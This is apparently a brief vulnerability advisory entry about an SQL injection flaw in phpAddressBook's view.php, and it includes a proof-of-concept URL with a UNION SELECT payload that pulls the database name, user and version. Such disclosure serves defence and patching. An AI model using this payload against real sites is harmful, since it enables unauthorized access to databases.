|
phpAddressBook 'view.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following proof of concept is available: http://www.example.com/view.php?id=-1+union+select+1,2,3,convert(concat(database(),char(58),user(),char(58),version()),char),5,6,7,8,9,10,11,12/* |
|
|
Privacy Statement |
